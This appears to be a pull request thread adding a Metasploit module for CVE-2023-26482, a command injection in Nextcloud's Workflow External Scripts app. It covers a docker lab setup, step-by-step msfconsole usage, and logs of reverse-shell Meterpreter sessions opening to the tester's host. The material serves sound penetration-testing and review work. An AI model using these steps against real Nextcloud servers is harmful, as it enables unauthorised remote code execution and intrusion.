Add exploit module for the nextcloud workflow vulnerability CVE-2023-26482

[whotwagner]

This module exploits a command injection that leads to a remote execution in Nextcloud installations if the app Workflow External Scripts is also installed. The vulnerability affects Nextcloud versions >= 24.0.0, >= 25.0.0, >= 18.0.0, >= 19.0.0, >= 20.0.0, >= 21.0.0, >= 22.0.0, >= 23.0.0, >= 24.0.0, >= 25.0.0

Verification

This nextcloud-installation was created in a Virtualbox VM with the following specs:

• RAM: 4GB
• CPU: 4
• DISK: 36GB
• System: ubuntu server 24.04
• Docker: docker-ce + compose-plugin https://docs.docker.com/engine/install/

This exploit was tested against a nextcloud docker container and docker-compose with the following docker-compose.yml:

volumes:
  nextcloud:
  db:

services:
  db:
    image: mariadb:10.6
    restart: always
    command: --transaction-isolation=READ-COMMITTED --log-bin=binlog --binlog-format=ROW
    volumes:
      - db:/var/lib/mysql
    environment:
      - MARIADB_ROOT_PASSWORD=root
      - MARIADB_PASSWORD=root
      - MARIADB_DATABASE=nextcloud
      - MARIADB_USER=nextcloud

  app:
    image: nextcloud:24.0.5
    restart: always
    ports:
      - 8080:80
    links:
      - db
    environment:
      - MYSQL_PASSWORD=root
      - MYSQL_DATABASE=nextcloud
      - MYSQL_USER=root
      - MYSQL_HOST=db
      - NEXTCLOUD_ADMIN_PASSWORD=admin
      - NEXTCLOUD_ADMIN_USER=admin
      - NEXTCLOUD_TRUSTED_DOMAINS="192.168.233.64:8080"
    depends_on:
      - db

NOTE: Change the IP-address and port for NEXTCLOUD_TRUSTED_DOMAINS for your setup

After docker compose up -d login as admin and install the workflow app: "Workflow external script" and
create a low privileged user alice. Make sure that you choose "Cron(Recommended)" in the Settings for "Background Jobs".
Before we can run the exploit, we need to start the cronjob. This is crucial because otherwise the
payload doesn't get triggered:

docker exec -it -u www-data nextcloud-app-1 /bin/bash
watch -n2 php cron.php

Wait until you the watch-command outputs something like: "Every 2.0s: php cron.php".

Verification Steps

NOTE: In my setup the msf-framework was installed on a different host. If you install it on the nextcloud-host, make sure that you change FETCH_SRVPORT: set FETCH_SRVPORT 8081

Example steps in this format (is also in the PR):

1. Do: use exploit/unix/webapp/nextcloud_workflows_rce
2. Do: set RHOSTS [ips]
3. Do: set LHOST [lhost]
4. Do: set RPORT 8080
5. Do: set USERNAME alice
6. Do: set PASSWORD alice-password
7. Do: run
8. You should get a shell after a while

The following demo shows how to use the exploit:

msf6 > use exploit/unix/webapp/nextcloud_workflows_rce
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set RHOSTS 192.168.233.64
RHOSTS => 192.168.233.64
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set LHOST 192.168.233.117
LHOST => 192.168.233.117
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set RPORT 8080
RPORT => 8080
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set USERNAME alice
USERNAME => alice
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set PASSWORD CaeD4ohchaiv5ieDooBa
PASSWORD => CaeD4ohchaiv5ieDooBa
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > run
[*] Started reverse TCP handler on 192.168.233.117:4444
[*] Sending payload..
[+] Workflow created
[*] Waiting for the payload to connect back ..
[*] Sending stage (3045380 bytes) to 192.168.233.64
[*] Meterpreter session 1 opened (192.168.233.117:4444 -> 192.168.233.64:37090) at 2025-04-10 13:27:49 +0000
[+] Payload connected!
[*] Cleaning up

meterpreter > getuid
Server username: www-data

[msutovsky-r7]

Exploit seemed to be working:

msf6 exploit(unix/webapp/nextcloud_workflows_rce) > exploit
[*] Started reverse TCP handler on 192.168.168.152:4444 
[*] Sending payload..
[+] Workflow created
[*] Waiting for the payload to connect back ..
[*] Sending stage (3045380 bytes) to 192.168.168.151
[*] Meterpreter session 2 opened (192.168.168.152:4444 -> 192.168.168.151:44250) at 2025-04-16 11:08:26 +0200
[+] Payload connected!
[*] Cleaning up

meterpreter > sysinfo
Computer     : 172.18.0.3
OS           : Debian 11.5 (Linux 6.8.0-52-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

The requested change has been made

[msutovsky-r7]

Hi @whotwagner , I've left some final comments which address cases of unexpected responses. Apart from that, I think the module should be ready:

msf6 exploit(unix/webapp/nextcloud_workflows_rce) > run
[*] Started reverse TCP handler on 192.168.168.158:8000 
[*] Sending payload..
[+] Workflow created
[*] Sending stage (3045380 bytes) to 192.168.168.146
[*] Meterpreter session 2 opened (192.168.168.158:8000 -> 192.168.168.146:52334) at 2025-05-15 09:00:16 +0200
[*] Cleaning up

meterpreter > sysinfo 
Computer     : 172.18.0.3
OS           : Debian 11.5 (Linux 6.8.0-52-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

[msutovsky-r7]

Thanks @whotwagner for your contribution!

[msutovsky-r7]

Release Notes

This adds a module for Nextcloud Workflow (CVE-2023-26482). Exploitation requires set of a valid credentials. The Nextcloud needs to have Workflow external script installed and enabled.